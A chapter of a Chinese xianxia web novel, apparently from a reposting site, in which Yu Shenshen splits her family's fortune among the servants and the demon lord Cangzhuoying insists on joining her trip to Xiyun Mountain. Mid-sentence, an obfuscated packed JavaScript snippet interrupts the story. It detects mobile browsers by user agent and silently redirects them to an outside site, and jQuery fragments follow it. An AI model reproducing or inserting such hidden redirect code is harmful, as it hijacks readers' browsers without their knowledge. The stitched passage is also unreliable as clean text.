渔府前堂,门外围了一堆人,嘈杂的声音不绝于耳。
一个鬓角已经霜白的驼背老人指着凌风,一脸怒气冲冲,俨然是一个忠仆的模样:“我看呐,就是你们招来的祸端!”
凌风和白玠站在正中间,低着头,看起来在乖乖听这位老管家的骂。
白玠撞了撞凌风手肘,细声道:“你还真信那个沧濯缨不是那个沧濯缨?”
凌风:“没办法啊,打又打不过,你就当不是吧。”
老管家年纪大,有些耳背,听不清他们在说什么,但知道他们肯定说了话。
这么不尊重老人家!
他气得推了一下凌风:“说!是不是你们把我们老爷夫人给害了,我看你们就是招摇撞骗的骗子!”
凌风还在和白玠耳语,完全没想到会被人猛地一推,站定后面上也有些愠气:“我们是溪云山的人,你凭何泼这盆污水!”
老管家呸了一下,咂咂嘴:“你说是就是?之前那个道士也说是,你们也说是,怎么?溪云山的修仙之人已经多得塞不下了吗?而且就算是溪云山又怎么样?也不过就是那位传说中的仙祖在各大话本子里有些名气,最后还不是死了?也没什么大本事。”
凌风:“你!”
话音刚落,两道黑色身影进了大堂,正是渔深深和沧濯缨。
渔深深刚一跨过门槛,就听见老管家说的话,好巧不巧,还刚好只听见了最后两句。而几乎仅那一瞬间,旁边的人影就微微抬了手,脸上也冷了不少。
渔深深心道不妙,如此似曾相识的一幕,于是她再次眼疾手快按住沧濯缨。
这并非她善心大发,只是这里围的人实在是多,而且凌风他们也在场,若真让沧濯缨在这里堂而皇之地动手杀了人,这只比偷偷把渔夫人他们杀了更难办。不仅难办,还会连带着之前帮沧濯缨隐瞒的她一起被凌风他们排斥。
只是当沧濯缨皱眉看着她时,她才反应过来,这次惹得他恼怒的事并非与她有关,而是关于那位仙祖,沧濯缨口中的姐姐的事。
自己似乎有些僭越了。
她松了手,还是顺带提了一嘴:“最好还是不要闹出了人命。”
“嗯。”
于是两人路过那位老管家时,渔深深向他投了一个好自为之的眼神。
那老管家眯着眼睛看向她,然后突然暴跳如雷:“就是你这个扫把星惹……”
“扑通”一声,老管家双膝一软,直挺挺地朝他口中的扫把星跪了下去。
渔深深被吓得脚步一顿:“……”
众人也被这突然的大礼给吓得一愣。
“诶呦我去,谁啊?!”
他跪得突然,而且能明显感到是有人在压着他。于是老管家环视了一圈,最终目光落在凌风和白玠身上:“是你们!”
凌风和白玠:“……”
他们心底呵呵一笑,他们要能有这能力,怕是早就能渡劫成仙了。
心里一边想着,一边幽幽地看向那道神情正冷如霜雪的黑色身影。
恨!着实可恨!
门外的人七嘴八舌地讨论着,然后就看见渔深深径直坐上了正中的主桌,不仅如此,她还拉着沧濯缨坐在她旁边的位置。
渔深深坐得随意,目光却冷冷地盯着那个老管家。
那老管家跪是跪了,嘴上却还是犟着:“那位置不是你坐的!”
渔深深淡淡开口:“爹娘和哥哥都不见了,这位置渔家小姐做不得,谁能坐?你么?”
老管家:“你既然知道你是渔家小姐,你就应该将此事上报官府!”
渔深深看着他如此忠心的模样,嗤笑一声:“我直说,现下妖魔横行,官府有什么用,你指望他们去除魔吗?你不如去求仙门百家,但溪云山和千丹门的弟子可不就在这。”
此话一出,所有人都很难不点头。
妖魔横行的世道,能救命的只有仙门百家,官府那些人顶多处理一些小偷小摸,市井矛盾。
所有人都陷入沉默。
渔深深:“当家的不见了,你们若非要上报官府,我自然不拦,只是这渔府家产丰厚,怕是要全部充公,你们什么下场也都心里清楚。”
他们什么下场,要么被收入官府,要么给其他的富贵人家当家仆。
老管家沉声问道:“你什么意思?”
“两个选择。”渔深深随意晃了晃手中树枝,“第一,你们报官。第二,你们分了渔家的财产,地和铺子爱怎么当怎么当,我不管。”
话音刚落,门外人群中响起一道洪亮的声音:“分财产!”
然后是此起彼伏的应和声,最后所有人都看向老管家。
渔深深撑着脸看他:“想好了吗?”
老管家:“分!”
不多时,府内喜气洋洋,所有人都站在院子里,排着长队等着分财产。
渔深深也顺手拿了几张银票,本来回来渔府一趟就是为了钱的,总不能累死累活,结果一点好都讨不着。
她喜滋滋的,可她身边的人却闷闷不乐。
渔深深数着银票才注意到沧濯缨似乎情绪不佳,她想了一会儿还是问:“你有什么事吗?”
沧濯缨许久没回答,就在渔深深以为他会说没事的时候,她听见他问:“你真的要去溪云山?”
渔深深:“不然呢?这渔府都当了我还去哪?那不成去万魔山?”
沧濯缨:“可以。”
渔深深一愣,飞快翻动纸钞的手指顿住,她本就是随口一说,没想到沧濯缨居然答应了。
和魔主成为朋友这么简单吗?
不过她并不是很想去,于是她委婉地拒绝:“我要修仙。”
沧濯缨:“我也会。”
“……”
这人到底想干嘛?
渔深深目光凝着他,却未置一语。
凌风突然靠近他们:“渔小姐,我们什么时候走?”
渔深深收好银票,莞尔一笑:“现在。”
沧濯缨:“我也要去。”
他说得很快,也很突然,当然说得更吓人。
白玠和凌风倏地扭头看他,像听了什么鬼故事一样:“???”
白玠:“你去哪?”
沧濯缨:“溪云山。”
凌风:“不行!”
渔深深也当然没少几分意外,但更多是不解:“为什么?”
凌风也跟着:“对啊!为什么?”
怎么会有一个魔上赶着上仙门的?还是个仙门死敌,万魔山之主。
他难道忘了一百年前是谁害了他们宗门仙祖?到底是谁疯了?还是他真以为自己相信他不是那个沧濯缨?
渔深深呼出一口气,把沧濯缨拉至一旁:“为什么要去溪云山?”
沧濯缨沉吟不语,好久才偏开头道:“因为万魔山造反了。”
渔深深:“你刚刚还让我去万魔山?”
沧濯缨:“我忘了。”
渔深深:“……”
怎么直觉他在撒谎。
渔深深又道:“造反了你不该回去平
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540752|186646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
反?”
沧濯缨眨了眨眼,目光忽闪:“我受伤了,打不赢。”
渔深深气笑了,她好像发现了沧濯缨的小习惯,那就是撒谎的时候总是要偏开头,不敢直视她。
她感觉自己现在像在带个爱撒谎的小孩儿似的。
但也只是像,她又没有真的带小孩儿,沧濯缨要去哪她实在管不了,毕竟腿在他身上,她想拦也拦不住,更何况她并不是很想拦。
渔深深:“嗯,你是为了帮我才受伤,这样的话我总得对你负点责。”
说完,她又拉着沧濯缨回去,一板一眼地说:“他也想修仙。”
凌风的表情瞬间绷不住了,平日里教的端方有礼也都被他抛诸脑后:“修,踏,马啊!再装一个……唔!”
凌风的声音瞬间被尽数咽回喉咙,他眼睛憋得通红,斜着眼看向一旁的罪魁祸首,唔唔地叫着。
那罪魁祸首却还在对着对面的人笑:“我们商量一下。”
说完,白玠也拉着凌风去了一边。
凌风咳咳几声,但还知道压着声音,疑惑道:“你什么意思?”
白玠一手放在他背后拍着一边解释:“你难不成要和他撕破脸?”
凌风抿唇,他哪里敢?
白玠看出了他的想法,接着道:“据我这么久观察,这个魔主并不像外界传闻的那般心狠手辣。你想想他和那渔家小姐待在一起的样子,是不是?”
凌风被这么一说,一下就想到今早看到的渔小姐训狗……
啊呸,渔小姐和沧濯缨耳语的样子。
不得不承认,确实是。
白玠见他点头赞同又说:“而且换个角度想,你以为你拦着不让就有用吗?我们拦也拦不住不是?”
凌风又点头。
白玠:“既然他要去那就带他去,等他去了溪云山,再强又能怎么样?那不是你们的地盘吗?”
凌风再次点头,但又摇头:“万一去的路上他对我们下手怎么办?”
白玠眯着眼看他,戏谑道:“你们溪云山整日教些什么东西?”
凌风呵呵一笑:“对,不如你们千丹门,天天炼一堆保健丹丸。”
白玠:“……你想打架了?”
凌风:“回去再打,说正事。”
白玠点头:“用你脑子想一下,他要是要对你下手,还要等路上吗?而且百年前他自己承诺过,偏安一隅,和我们井水不犯河水,要是他现在敢对我们下手,那真是撕破了脸,他想和这么多仙门打起来吗?到时候还不是两败俱伤。”
凌风思忖良久,才又点头:“你说的在理。”
不过白玠说了一堆,凌风觉得这主要原因还是打不过,拦不住。
身后传来渔深深的声音:“仙长商量好了吗?”
两人齐齐转身,凌风僵硬地咧嘴一笑,道:“可以,修仙好啊,都修仙。”
渔深深看他这一副敢怒不敢言的样子,差点憋不住笑。她想了想,还是略微不放心,拉了拉沧濯缨的衣袖。
等沧濯缨偏头低身,她才小声说:“魔主,你之后得装像点好吗?”
她看了看对面两人,虽然很明显他们并不相信她的说辞,但说都说了,还是装到底,不能太过分。
耳边传来轻轻的笑声:“嗯,听你的。”
渔深深有些不自在地揉了揉耳廓。
怎么感觉……乖乖的?
对面两人将他们的动作尽收眼底,两人互相递了个眼神。
好的,他们知道之后怎么做了。